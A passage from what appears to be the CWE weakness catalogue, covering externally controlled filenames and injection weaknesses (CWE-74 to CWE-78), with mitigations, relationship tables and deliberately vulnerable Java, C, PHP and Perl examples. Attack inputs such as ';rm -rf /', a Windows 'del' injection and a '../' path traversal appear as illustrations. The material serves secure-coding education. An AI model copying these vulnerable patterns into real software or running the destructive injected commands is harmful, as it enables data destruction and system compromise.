#### Confidentiality

#### Availability

#### Modify files or directories

#### Execute unauthorized code or commands

The application can operate on unexpected files. This may violate integrity if the filename is written to, or if the filename is for a program or other form of executable code.

**Availability****DoS: crash / exit / restart****DoS: resource consumption (other)**

The application can operate on unexpected files. Availability can be violated if the attacker specifies an unexpected file that the application modifies. Availability can also be affected if the attacker specifies a filename for a large file, or points to a special device or a file that does not have the format that the application expects.

**Likelihood of Exploit**

High to Very High

**Detection Methods****Automated Static Analysis**

The external control or influence of filenames can often be detected using automated static analysis that models data flow within the software.

Automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or require any code changes.

**Demonstrative Examples****Example 1:**

The following code uses input from an HTTP request to create a file name. The programmer has not considered the possibility that an attacker could provide a file name such as "../tomcat/conf/server.xml", which causes the application to delete one of its own configuration files (CWE-22).

**Java Example:***Bad Code*

```
String rName = request.getParameter("reportName");
File rFile = new File("/usr/local/apfr/reports/" + rName);
...
rFile.delete();
```

**Example 2:**

The following code uses input from a configuration file to determine which file to open and echo back to the user. If the program runs with privileges and malicious users can change the configuration file, they can use the program to read any file on the system that ends with the extension .txt.

**Java Example:***Bad Code*

```
fis = new FileInputStream(cfg.getProperty("sub")+ ".txt");
amt = fis.read(arr);
out.println(arr);
```

**Observed Examples**

Reference	Description
CVE-2008-5748	Chain: external control of values for user's desired language and theme enables path traversal.
CVE-2008-5764	Chain: external control of user's target language enables remote file inclusion.

**Potential Mitigations****Architecture and Design**

When the set of filenames is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap provide this capability.

## Architecture and Design

### Operation

Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict all access to files within a particular directory.

Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

## Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

## Implementation

### Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator.

Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

## Implementation

Use a built-in path canonicalization function (such as `realpath()` in C) that produces the canonical version of the pathname, which effectively removes "." sequences and symbolic links (CWE-23, CWE-59).

## Installation

### Operation

Use OS-level permissions and run as a low-privileged user to limit the scope of any successful attack.

**Operation****Implementation**

If you are using PHP, configure your application so that it does not use `register_globals`. During implementation, develop your application so that it does not rely on this feature, but be wary of implementing a `register_globals` emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

**Testing**

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

**Testing**

Use dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.














**Testing**

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

**Weakness Ordinalities**

**Primary** (where the weakness exists independent of other weaknesses)

**Relationships**

Nature	Type	ID	Name	CVSS	Page
ChildOf		20	Improper Input Validation	<b>699</b> <b>700</b>	18
CanPrecede		22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	1000	30
CanPrecede		41	Improper Resolution of Path Equivalence	1000	73
CanPrecede		59	Improper Link Resolution Before File Access ('Link Following')	1000	91
CanPrecede		98	Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')	1000	184
CanPrecede		434	Unrestricted Upload of File with Dangerous Type	1000	742
ChildOf		610	Externally Controlled Reference to a Resource in Another Sphere	1000	957
ChildOf		642	External Control of Critical State Data	<b>1000</b>	993
ChildOf		723	OWASP Top Ten 2004 Category A2 - Broken Access Control	<b>711</b>	1116
ChildOf		752	2009 Top 25 - Risky Resource Management	<b>750</b>	1143
ChildOf		877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	<b>868</b>	1315
ChildOf		981	SFP Secondary Cluster: Path Traversal	<b>888</b>	1384
CanAlsoBe		99	Improper Control of Resource Identifiers ('Resource Injection')	1000	190

**Relationship Notes**

The external control of filenames can be the primary link in chains with other file-related weaknesses, as seen in the CanPrecede relationships. This is because software systems use files for many different purposes: to execute programs, load code libraries, to store application data, to store configuration settings, record temporary data, act as signals or semaphores to other processes, etc.

However, those weaknesses do not always require external control. For example, link-following weaknesses (CWE-59) often involve pathnames that are not controllable by the attacker at all.

The external control can be resultant from other issues. For example, in PHP applications, the `register_globals` setting can allow an attacker to modify variables that the programmer thought were immutable, enabling file inclusion (CWE-98) and path traversal (CWE-22). Operating with excessive privileges (CWE-250) might allow an attacker to specify an input filename that is not

directly readable by the attacker, but is accessible to the privileged program. A buffer overflow (CWE-119) might give an attacker control over nearby memory locations that are related to pathnames, but were not directly modifiable by the attacker.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
7 Pernicious Kingdoms		Path Manipulation
CERT C++ Secure Coding	FIO01-CPP	Be careful using functions that use file names for identification
CERT C++ Secure Coding	FIO02-CPP	Canonicalize path names originating from untrusted sources
Software Fault Patterns	SFP16	Path Traversal

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
13	Subverting Environment Variable Values	
64	Using Slashes and URL Encoding Combined to Bypass Validation Logic	
72	URL Encoding	
76	Manipulating Input to File System Calls	
78	Using Escaped Slashes in Alternate Encoding	
79	Using Slashes in Alternate Encoding	
80	Using UTF-8 Encoding to Bypass Validation Logic	
267	Leverage Alternate Encoding	

### References

[REF-21] OWASP. "OWASP Enterprise Security API (ESAPI) Project". < <http://www.owasp.org/index.php/ESAPI> >.

## CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')

Weakness ID: 74 (Weakness Class)

Status: Incomplete

### Description

#### Summary

The software constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component.

#### Extended Description

Software has certain assumptions about what constitutes data and control respectively. It is the lack of verification of these assumptions for user-controlled input that leads to injection problems. Injection problems encompass a wide variety of issues -- all mitigated in very different ways and usually attempted in order to alter the control flow of the process. For this reason, the most effective way to discuss these weaknesses is to note the distinct features which classify them as injection weaknesses. The most important issue to note is that all injection problems share one thing in common -- i.e., they allow for the injection of control plane data into the user-controlled data plane. This means that the execution of the process may be altered by sending code in through legitimate data channels, using no other mechanism. While buffer overflows, and many other flaws, involve the use of some further issue to gain execution, injection problems need only for the data to be parsed. The most classic instantiations of this category of weakness are SQL injection and format string vulnerabilities.

### Time of Introduction

- Architecture and Design
- Implementation

### Applicable Platforms

#### Languages

- All



**Common Consequences****Confidentiality****Read application data**

Many injection attacks involve the disclosure of important information -- in terms of both data sensitivity and usefulness in further exploitation.

**Access Control****Bypass protection mechanism**

In some cases, injectable code controls authentication; this may lead to a remote vulnerability.

**Other****Alter execution logic**

Injection attacks are characterized by the ability to significantly change the flow of a given process, and in some cases, to the execution of arbitrary code.

**Integrity****Other****Other**

Data injection attacks lead to loss of data integrity in nearly all cases as the control-plane data injected is always incidental to data recall or writing.

**Non-Repudiation****Hide activities**

Often the actions performed by injected control code are unlogged.

**Likelihood of Exploit**

Very High

**Potential Mitigations****Requirements**

Programming languages and supporting technologies might be chosen which are not subject to these issues.















**Implementation**

Utilize an appropriate mix of white-list and black-list parsing to filter control-plane syntax from all input.

**Weakness Ordinalities**

**Primary** (where the weakness exists independent of other weaknesses)

**Relationships**

Nature	Type	ID	Name	V	Page
ChildOf		20	Improper Input Validation	<b>699</b>	18
ChildOf		707	Improper Enforcement of Message or Data Structure	<b>1000</b>	1107
ChildOf		727	OWASP Top Ten 2004 Category A6 - Injection Flaws	<b>711</b>	1118
ChildOf		990	SFP Secondary Cluster: Tainted Input to Command	<b>888</b>	1388
CanFollow		20	Improper Input Validation	1000	18
ParentOf		75	Failure to Sanitize Special Elements into a Different Plane (Special Element Injection)	<b>699</b> <b>1000</b>	116
ParentOf		77	Improper Neutralization of Special Elements used in a Command ('Command Injection')	<b>699</b> <b>1000</b>	117
ParentOf		79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	<b>699</b> <b>1000</b>	131
ParentOf		91	XML Injection (aka Blind XPath Injection)	<b>699</b> <b>1000</b>	170
ParentOf		93	Improper Neutralization of CRLF Sequences ('CRLF Injection')	<b>699</b> <b>1000</b>	172
ParentOf		94	Improper Control of Generation of Code ('Code Injection')	<b>699</b> <b>1000</b>	173
ParentOf		99	Improper Control of Resource Identifiers ('Resource Injection')	<b>699</b> <b>1000</b>	190
CanFollow		116	Improper Encoding or Escaping of Output	1000	217
ParentOf		134	Uncontrolled Format String	<b>699</b>	277

## CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')

Nature	Type	ID	Name	✓	Page
				1000	
ParentOf		138	Improper Neutralization of Special Elements	699	285
ParentOf		943	Improper Neutralization of Special Elements in Data Query Logic	699	1369
				1000	

## Relationship Notes

In the development view (CWE-699), this is classified as an Input Validation problem (CWE-20) because many people do not distinguish between the consequence/attack (injection) and the protection mechanism that prevents the attack from succeeding. In the research view (CWE-1000), however, input validation is only one potential protection mechanism (output encoding is another), and there is a chaining relationship between improper input validation and the improper enforcement of the structure of messages to other components. Other issues not directly related to input validation, such as race conditions, could similarly impact message structure.

## Causal Nature

**Explicit** (an explicit weakness resulting from behavior of the developer)

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Injection problem ('data' used as something else)
OWASP Top Ten 2004	A6	CWE More Specific	Injection Flaws
Software Fault Patterns	SFP24		Tainted input to command

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
3	Using Leading 'Ghost' Character Sequences to Bypass Input Filters	
7	Blind SQL Injection	
8	Buffer Overflow in an API Call	
9	Buffer Overflow in Local Command-Line Utilities	
10	Buffer Overflow via Environment Variables	
13	Subverting Environment Variable Values	
14	Client-side Injection-induced Buffer Overflow	
24	Filter Failure through Buffer Overflow	
28	Fuzzing	
34	HTTP Response Splitting	
40	Manipulating Writeable Terminal Devices	
42	MIME Conversion	
43	Exploiting Multiple Input Interpretation Layers	
45	Buffer Overflow via Symbolic Links	
46	Overflow Variables and Tags	
47	Buffer Overflow via Parameter Expansion	
51	Poison Web Service Registry	
52	Embedding NULL Bytes	
53	Postfix, Null Terminate, and Backslash	
64	Using Slashes and URL Encoding Combined to Bypass Validation Logic	
66	SQL Injection	
67	String Format Overflow in syslog()	
71	Using Unicode Encoding to Bypass Validation Logic	
72	URL Encoding	
76	Manipulating Input to File System Calls	
78	Using Escaped Slashes in Alternate Encoding	
79	Using Slashes in Alternate Encoding	
80	Using UTF-8 Encoding to Bypass Validation Logic	
83	XPath Injection	
84	XQuery Injection	
91	XSS in IMG Tags	
101	Server Side Include (SSI) Injection	
106	Cross Site Scripting through Log Files	

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
108	Command Line Execution through SQL Injection	
135	Format String Injection	
250	XML Injection	
267	Leverage Alternate Encoding	
273	HTTP Response Smuggling	

## CWE-75: Failure to Sanitize Special Elements into a Different Plane (Special Element Injection)

Weakness ID: 75 (Weakness Class)

Status: Draft

### Description

#### Summary

The software does not adequately filter user-controlled input for special elements with control implications.

#### Time of Introduction

- Architecture and Design
- Implementation

#### Applicable Platforms

##### Languages

- All

#### Common Consequences

##### Integrity

##### Confidentiality

##### Availability

##### Modify application data

##### Execute unauthorized code or commands

#### Potential Mitigations





##### Requirements

Programming languages and supporting technologies might be chosen which are not subject to these issues.

##### Implementation

Utilize an appropriate mix of white-list and black-list parsing to filter special element syntax from all input.

#### Relationships

Nature	Type	ID	Name		Page
ChildOf		74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')		699 1000
ChildOf		990	SFP Secondary Cluster: Tainted Input to Command		888 1388
ParentOf		76	Improper Neutralization of Equivalent Special Elements		699 1000

#### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Special Element Injection

## CWE-76: Improper Neutralization of Equivalent Special Elements

Weakness ID: 76 (Weakness Base)

Status: Draft

### Description

#### Summary

The software properly neutralizes certain special elements, but it improperly neutralizes equivalent special elements.

**Extended Description**

The software may have a fixed list of special characters it believes is complete. However, there may be alternate encodings, or representations that also have the same meaning. For example, the software may filter out a leading slash (/) to prevent absolute path names, but does not account for a tilde (~) followed by a user name, which on some \*nix systems could be expanded to an absolute pathname. Alternately, the software might filter a dangerous "-e" command-line switch when calling an external program, but it might not account for "--exec" or other switches that have the same semantics.

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms****Languages**

- All

**Common Consequences****Other****Other****Likelihood of Exploit**

High to Very High

**Potential Mitigations****Requirements**

Programming languages and supporting technologies might be chosen which are not subject to these issues.



**Implementation**

Utilize an appropriate mix of white-list and black-list parsing to filter equivalent special element syntax from all input.

**Weakness Ordinalities**

**Primary** (*where the weakness exists independent of other weaknesses*)

**Relationships**

Nature	Type	ID	Name	CVSS	Page
ChildOf		75	Failure to Sanitize Special Elements into a Different Plane (Special Element Injection)	<b>699</b> <b>1000</b>	116
ChildOf		990	SFP Secondary Cluster: Tainted Input to Command	<b>888</b>	1388

**Causal Nature**

**Explicit** (*an explicit weakness resulting from behavior of the developer*)

**Taxonomy Mappings**

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Equivalent Special Element Injection

## CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')

Weakness ID: 77 (*Weakness Class*)

Status: Draft

**Description****Summary**

The software constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component.

**Extended Description**

Command injection vulnerabilities typically occur when:

1. Data enters the application from an untrusted source.
2. The data is part of a string that is executed as a command by the application.

3. By executing the command, the application gives an attacker a privilege or capability that the attacker would not otherwise have.

Command injection is a common problem with wrapper programs.

### Terminology Notes

The "command injection" phrase carries different meanings to different people. For some people, it refers to any type of attack that can allow the attacker to execute commands of their own choosing, regardless of how those commands are inserted. The command injection could thus be resultant from another weakness. This usage also includes cases in which the functionality allows the user to specify an entire command, which is then executed; within CWE, this situation might be better regarded as an authorization problem (since an attacker should not be able to specify arbitrary commands.)

Another common usage, which includes CWE-77 and its descendants, involves cases in which the attacker injects separators into the command being constructed.

### Time of Introduction

- Architecture and Design
- Implementation

### Applicable Platforms

#### Languages

- Language-independent

### Common Consequences

#### Integrity

#### Confidentiality

#### Availability

#### Execute unauthorized code or commands

If a malicious user injects a character (such as a semi-colon) that delimits the end of one command and the beginning of another, it may be possible to then insert an entirely new and unrelated command that was not intended to be executed.

### Likelihood of Exploit

Very High

### Demonstrative Examples

#### Example 1:

The following simple program accepts a filename as a command line argument and displays the contents of the file back to the user. The program is installed setuid root because it is intended for use as a learning tool to allow system administrators in-training to inspect privileged system files without giving them the ability to modify them or damage the system.

#### C Example:

*Bad Code*

```
int main(char* argc, char** argv) {
    char cmd[CMD_MAX] = "/usr/bin/cat ";
    strcat(cmd, argv[1]);
    system(cmd);
}
```

Because the program runs with root privileges, the call to `system()` also executes with root privileges. If a user specifies a standard filename, the call works as expected. However, if an attacker passes a string of the form `";rm -rf /"`, then the call to `system()` fails to execute `cat` due to a lack of arguments and then plows on to recursively delete the contents of the root partition.

#### Example 2:

The following code is from an administrative web application designed to allow users to kick off a backup of an Oracle database using a batch-file wrapper around the `rman` utility and then run a `cleanup.bat` script to delete some temporary files. The script `rmanDB.bat` accepts a single command line parameter, which specifies what type of backup to perform. Because access to the database is restricted, the application runs the backup as a privileged user.

#### Java Example:

*Bad Code*

...

```
String btype = request.getParameter("backuptype");
String cmd = new String("cmd.exe /K \"
    c:\\util\\rmanDB.bat \"
    +btype+
    "&&c:\\ut\\cleanup.bat\"")
System.Runtime.getRuntime().exec(cmd);
...
```

The problem here is that the program does not do any validation on the backuptype parameter read from the user. Typically the Runtime.exec() function will not execute multiple commands, but in this case the program first runs the cmd.exe shell in order to run multiple commands with a single call to Runtime.exec(). Once the shell is invoked, it will happily execute multiple commands separated by two ampersands. If an attacker passes a string of the form "& del c:\\dbms\\\*.\"", then the application will execute this command along with the others specified by the program. Because of the nature of the application, it runs with the privileges necessary to interact with the database, which means whatever command the attacker injects will run with those privileges as well.

### Example 3:

The following code from a system utility uses the system property APPHOME to determine the directory in which it is installed and then executes an initialization script based on a relative path from the specified directory.

#### Java Example:

*Bad Code*

```
...
String home = System.getProperty("APPHOME");
String cmd = home + INITCMD;
java.lang.Runtime.getRuntime().exec(cmd);
...
```

The code above allows an attacker to execute arbitrary commands with the elevated privilege of the application by modifying the system property APPHOME to point to a different path containing a malicious version of INITCMD. Because the program does not validate the value read from the environment, if an attacker can control the value of the system property APPHOME, then they can fool the application into running malicious code and take control of the system.

### Example 4:

The following code is a wrapper around the UNIX command cat which prints the contents of a file to standard out. It is also injectable:

#### C Example:

*Bad Code*

```
#include <stdio.h>
#include <unistd.h>
int main(int argc, char **argv) {
    char cat[] = "cat ";
    char *command;
    size_t commandLength;
    commandLength = strlen(cat) + strlen(argv[1]) + 1;
    command = (char *) malloc(commandLength);
    strncpy(command, cat, commandLength);
    strncat(command, argv[1], (commandLength - strlen(cat)) );
    system(command);
    return (0);
}
```

Used normally, the output is simply the contents of the file requested:

```
$ ./catWrapper Story.txt
When last we left our heroes...
```

However, if we add a semicolon and another command to the end of this line, the command is executed by catWrapper with no complaint:

```
$ ./catWrapper Story.txt; ls
When last we left our heroes...
Story.txt
```

*Attack*



*SensitiveFile.txt*  
*PrivateData.db*  
*a.out\**

If catWrapper had been set to have a higher privilege level than the standard user, arbitrary commands could be executed with that higher privilege.

## Potential Mitigations

### Architecture and Design

If at all possible, use library calls rather than external processes to recreate the desired functionality.

### Implementation

If possible, ensure that all external commands called from the program are statically created.

### Implementation

#### Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

### Operation

Run time: Run time policy enforcement may be used in a white-list fashion to prevent use of any non-sanctioned commands.












### System Configuration

Assign permissions to the software system that prevents the user from accessing/opening privileged files.

## Weakness Ordinalities

**Primary** (where the weakness exists independent of other weaknesses)

## Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf		20	Improper Input Validation	700	18
ChildOf		74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	699 1000	113
ChildOf		713	OWASP Top Ten 2007 Category A2 - Injection Flaws	629	1112
ChildOf		722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	711	1116
ChildOf		727	OWASP Top Ten 2004 Category A6 - Injection Flaws	711	1118
ChildOf		929	OWASP Top Ten 2013 Category A1 - Injection	928	1358
ChildOf		990	SFP Secondary Cluster: Tainted Input to Command	888	1388
ParentOf		78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	699 1000	121
ParentOf		88	Argument Injection or Modification	699 1000	155
ParentOf		624	Executable Regular Expression Error	699 1000	972
ParentOf		917	Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')	699 1000	1344

## Causal Nature



**Explicit** (an explicit weakness resulting from behavior of the developer)

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Command Injection
CLASP			Command injection
OWASP Top Ten 2007	A2	CWE More Specific	Injection Flaws
OWASP Top Ten 2004	A1	CWE More Specific	Unvalidated Input
OWASP Top Ten 2004	A6	CWE More Specific	Injection Flaws
Software Fault Patterns	SFP24		Tainted input to command

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
6	Argument Injection	
11	Cause Web Server Misclassification	
15	Command Delimiters	
23	File System Function Injection, Content Based	
43	Exploiting Multiple Input Interpretation Layers	
75	Manipulating Writeable Configuration Files	
76	Manipulating Input to File System Calls	
136	LDAP Injection	

### References

G. Hoglund and G. McGraw. "Exploiting Software: How to Break Code". Addison-Wesley. February 2004.

[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 10: Command Injection." Page 171. McGraw-Hill. 2010.

## CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Weakness ID: 78 (Weakness Base)

Status: Draft

### Description

#### Summary

The software constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

#### Extended Description

This could allow attackers to execute unexpected, dangerous commands directly on the operating system. This weakness can lead to a vulnerability in environments in which the attacker does not have direct access to the operating system, such as in web applications. Alternately, if the weakness occurs in a privileged program, it could allow the attacker to specify commands that normally would not be accessible, or to call alternate commands with privileges that the attacker does not have. The problem is exacerbated if the compromised process does not follow the principle of least privilege, because the attacker-controlled commands may run with special system privileges that increases the amount of damage.

There are at least two subtypes of OS command injection:

The application intends to execute a single, fixed program that is under its own control. It intends to use externally-supplied inputs as arguments to that program. For example, the program might use `system("nslookup [HOSTNAME]")` to run `nslookup` and allow the user to supply a `HOSTNAME`, which is used as an argument. Attackers cannot prevent `nslookup` from executing. However, if the program does not remove command separators from the `HOSTNAME` argument, attackers could place the separators into the arguments, which allows them to execute their own program after `nslookup` has finished executing.

The application accepts an input that it uses to fully select which program to run, as well as which commands to use. The application simply redirects this entire command to the operating system. For example, the program might use `exec([COMMAND])` to execute the `[COMMAND]`

that was supplied by the user. If the COMMAND is under attacker control, then the attacker can execute arbitrary commands or programs. If the command is being executed using functions like `exec()` and `CreateProcess()`, the attacker might not be able to combine multiple commands together in the same line.

From a weakness standpoint, these variants represent distinct programmer errors. In the first variant, the programmer clearly intends that input from untrusted parties will be part of the arguments in the command to be executed. In the second variant, the programmer does not intend for the command to be accessible to any untrusted party, but the programmer probably has not accounted for alternate ways in which malicious attackers can provide input.

#### Alternate Terms

**Shell injection**

**Shell metacharacters**

#### Terminology Notes

The "OS command injection" phrase carries different meanings to different people. For some people, it only refers to cases in which the attacker injects command separators into arguments for an application-controlled program that is being invoked. For some people, it refers to any type of attack that can allow the attacker to execute OS commands of their own choosing. This usage could include untrusted search path weaknesses (CWE-426) that cause the application to find and execute an attacker-controlled program. Further complicating the issue is the case when argument injection (CWE-88) allows alternate command-line switches or options to be inserted into the command line, such as an "-exec" switch whose purpose may be to execute the subsequent argument as a command (this -exec switch exists in the UNIX "find" command, for example). In this latter case, however, CWE-88 could be regarded as the primary weakness in a chain with CWE-78.

#### Time of Introduction

- Architecture and Design
- Implementation

#### Applicable Platforms

##### Languages

- Language-independent

#### Common Consequences

**Confidentiality**

**Integrity**

**Availability**

**Non-Repudiation**

**Execute unauthorized code or commands**

**DoS: crash / exit / restart**

**Read files or directories**

**Modify files or directories**

**Read application data**

**Modify application data**

**Hide activities**

Attackers could execute unauthorized commands, which could then be used to disable the software, or read and modify data for which the attacker does not have permissions to access directly. Since the targeted application is directly executing the commands instead of the attacker, any malicious activities may appear to come from the application or the application's owner.

#### Likelihood of Exploit

High

#### Detection Methods

**Automated Static Analysis**

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives. Automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or require any code changes.

Automated static analysis might not be able to detect the usage of custom API functions or third-party libraries that indirectly invoke OS commands, leading to false negatives - especially if the API/library code is not available for analysis.

This is not a perfect solution, since 100% accuracy and coverage are not feasible.

**Automated Dynamic Analysis****Moderate**

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

**Manual Static Analysis****High**

Since this weakness does not typically appear frequently within a single software package, manual white box techniques may be able to provide sufficient code coverage and reduction of false positives if all potentially-vulnerable operations can be assessed within limited time constraints.

**Automated Static Analysis - Binary / Bytecode****SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Binary Weakness Analysis - including disassembler + source code weakness analysis

**Dynamic Analysis with automated results interpretation****SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Web Application Scanner

Web Services Scanner

Database Scanners

**Dynamic Analysis with manual results interpretation****SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Fuzz Tester

Framework-based Fuzzer

**Manual Static Analysis - Source Code****SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Manual Source Code Review (not inspections)

Cost effective for partial coverage:

Focused Manual Spotcheck - Focused manual analysis of source

**Automated Static Analysis - Source Code****SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Source code Weakness Analyzer

Context-configured Source Code Weakness Analyzer

**Architecture / Design Review****SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

**Demonstrative Examples****Example 1:**

This example code intends to take the name of a user and list the contents of that user's home directory. It is subject to the first variant of OS command injection.

**PHP Example:***Bad Code*

```
$userName = $_POST["user"];
$command = 'ls -l /home/' . $userName;
system($command);
```

The \$userName variable is not checked for malicious input. An attacker could set the \$userName variable to an arbitrary OS command such as:

*Attack*

```
;  
rm -rf /
```

Which would result in \$command being:

*Result*

```
ls -l /home;  
rm -rf /
```

Since the semi-colon is a command separator in Unix, the OS would first execute the ls command, then the rm command, deleting the entire file system.

Also note that this example code is vulnerable to Path Traversal (CWE-22) and Untrusted Search Path (CWE-426) attacks.

**Example 2:**

This example is a web application that intends to perform a DNS lookup of a user-supplied domain name. It is subject to the first variant of OS command injection.

**Perl Example:***Bad Code*

```
use CGI qw(:standard);
$name = param('name');
$nslookup = "/path/to/nslookup";
print header;
if (open($fh, "$nslookup $name")) {
    while (<$fh>) {
        print escapeHTML($_);
        print "<br>\n";
    }
    close($fh);
}
```

Suppose an attacker provides a domain name like this:

*Attack*

```
cwe.mitre.org%20%3B%20/bin/ls%20-l
```

The "%3B" sequence decodes to the ";" character, and the %20 decodes to a space. The open() statement would then process a string like this:

Result

```
/path/to/nslookup cwe.mitre.org ; /bin/ls -l
```

As a result, the attacker executes the "/bin/ls -l" command and gets a list of all the files in the program's working directory. The input could be replaced with much more dangerous commands, such as installing a malicious program on the server.

### Example 3:

The example below reads the name of a shell script to execute from the system properties. It is subject to the second variant of OS command injection.

#### Java Example:

Bad Code

```
String script = System.getProperty("SCRIPTNAME");
if (script != null)
    System.exec(script);
```

If an attacker has control over this property, then they could modify the property to point to a dangerous program.

### Example 4:

In the example below, a method is used to transform geographic coordinates from latitude and longitude format to UTM format. The method gets the input coordinates from a user through a HTTP request and executes a program local to the application server that performs the transformation. The method passes the latitude and longitude coordinates as a command-line option to the external program and will perform some processing to retrieve the results of the transformation and return the resulting UTM coordinates.

#### Java Example:

Bad Code

```
public String coordinateTransformLatLonToUTM(String coordinates)
{
    String utmCoords = null;
    try {
        String latlonCoords = coordinates;
        Runtime rt = Runtime.getRuntime();
        Process exec = rt.exec("cmd.exe /C latlon2utm.exe -" + latlonCoords);
        // process results of coordinate transform
        // ...
    }
    catch(Exception e) {...}
    return utmCoords;
}
```

